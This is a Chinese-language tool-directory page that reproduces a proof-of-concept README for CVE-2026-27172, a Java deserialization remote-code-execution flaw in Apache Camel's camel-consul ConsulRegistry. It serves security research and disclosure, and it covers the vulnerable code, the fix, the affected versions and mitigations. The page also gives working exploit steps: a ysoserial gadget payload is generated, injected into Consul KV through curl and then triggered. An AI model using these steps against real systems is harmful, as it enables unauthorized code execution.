Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-27172 — CVE-2026-27172 的复现工具:Apache Camel camel-consul ConsulRegistry Java 反序列化(RCE) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-27172
漏洞分析漏洞利用渗透测试学习与教育Payload 开发二进制利用
GitHuboscerd/cve-2026-27172

CVE-2026-27172

CVE-2026-27172 的复现工具:Apache Camel camel-consul ConsulRegistry Java 反序列化(RCE)

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-consul ConsulRegistry 反序列化漏洞复现工具(CVE-2026-27172)

本项目演示了 Apache Camel 的 camel-consul 组件(ConsulRegistry)中的一个 Java 反序列化漏洞,编号为 CVE-2026-27172。它与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 属于同类问题,且在修复上述 CVE 时被遗漏。

公告:https://camel.apache.org/security/CVE-2026-27172.html

漏洞摘要

属性值
受影响组件camel-consul
受影响类org.apache.camel.component.consul.ConsulRegistry(ConsulRegistryUtils.deserialize)
受影响方法lookupByName()、lookupByNameAndType()、findByTypeWithName()、findByType()
CWECWE-502:不可信数据的反序列化
影响远程代码执行(RCE)
受影响版本3.0.0 至 4.14.6 之前,以及 4.15.0 至 4.18.1 之前
修复版本4.14.6、4.18.1、4.19.0
JIRACAMEL-23029

技术细节

ConsulRegistry 将 Consul 键值存储用作 Camel 注册表。当按名称查找 bean 时,存储的值会被 Base64 解码,并使用原始 ObjectInputStream 进行反序列化,而且在受影响版本中,没有设置 ObjectInputFilter:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // 无过滤器(受影响版本)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - 受影响版本
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // 无任何过滤!
    }
}

存储在 Consul KV 存储中、且 Camel 之后会按名称查找的任何对象都会被反序列化。攻击者只要能写入该 KV 路径,就可以植入 gadget 链载荷,并在注册表查找发生时执行。

前置条件

  • Java 17+
  • Maven 3.8+
  • 一个正在运行的 Consul agent(KV 存储)——例如通过 Docker 运行
  • ysoserial(用于生成载荷)

复现步骤

第 1 步:启动 Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

第 2 步:构建并启动应用程序

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

第 3 步:初始化注册表键

root@kitploit:~
curl http://localhost:8080/exploit/init

第 4 步:生成恶意载荷

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux(良性验证:创建一个文件)。macOS 请使用 "open -a Calculator",Windows 请使用 "calc.exe"。
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry 存储的是 Base64 编码的序列化对象,因此载荷以 Base64 形式提交。

第 5 步:将载荷注入 Consul KV

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

第 6 步:触发反序列化(RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() 会读取 KV 值,进行 Base64 解码并反序列化——从而执行 gadget 链。

第 7 步:验证利用是否成功

root@kitploit:~
ls -la /tmp/pwned

如果文件 /tmp/pwned 存在,则说明漏洞利用成功。

攻击向量

只要注册表解析 bean,漏洞就会被触发:

  1. Bean 引用 — .to("bean:...")、bean(...)、按名称调用的 .process("...") 都会调用 lookupByName()。
  2. 启动时解析 — 在构建路由过程中解析的 bean。
  3. 按类型查找 — findByType() / lookupByNameAndType() 会遍历 KV 条目并对其反序列化。

利用条件

  1. 对支撑注册表的 Consul KV 存储具有写权限:
    • 共享或配置不当的 Consul 集群
    • 被攻陷或权限过大的 Consul ACL token
    • 可利用其他漏洞获得 KV 写入原语
  2. classpath 中存在 gadget 库:
    • commons-collections:3.2.1(CommonsCollections1-7 gadget)
    • 其他许多库(参见 ysoserial)

与同类 CVE 的对比

建议的修复方案

修复(CAMEL-23029)为 ConsulRegistryUtils.deserialize 增加了一个可配置的 ObjectInputFilter(默认 java.**;org.apache.camel.**;!*),并提供了 deserializationFilter 选项,以便将受信任的类加入白名单:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

缓解措施

在升级到修复版本之前:

  1. 限制 Consul KV 的写权限,仅允许 Camel 应用自身的身份访问(最小权限 ACL token)。
  2. 移除 gadget 库:升级或移除存在漏洞的库,例如 commons-collections 3.x。
  3. 网络隔离:将 Consul 集群隔离在受信任的网络中。

文件结构

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven 配置(受影响的 camel-consul 版本)
├── README.md                        # 本文件
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot 入口点
    │   ├── ConsulRegistryRoute.java  # Camel 路由(已禁用;展示真实用法)
    │   └── ExploitController.java    # 用于 PoC 的 REST 端点
    └── resources/
        └── application.properties

免责声明

本复现工具仅用于安全研究和授权测试,针对的是已公开披露并已修复的漏洞。未经明确许可,请勿将其用于任何系统。

下载工具
方面Cassandra(CVE-2024-23114)LevelDB(CVE-2026-25747)Consul(CVE-2026-27172)
后端存储Cassandra 表LevelDB 文件Consul KV 存储
ObjectInputFilter(修复前)无无无
修复方案ObjectInputFilter 白名单ObjectInputFilter 白名单ObjectInputFilter 白名单
JIRACAMEL-20306CAMEL-22821CAMEL-23029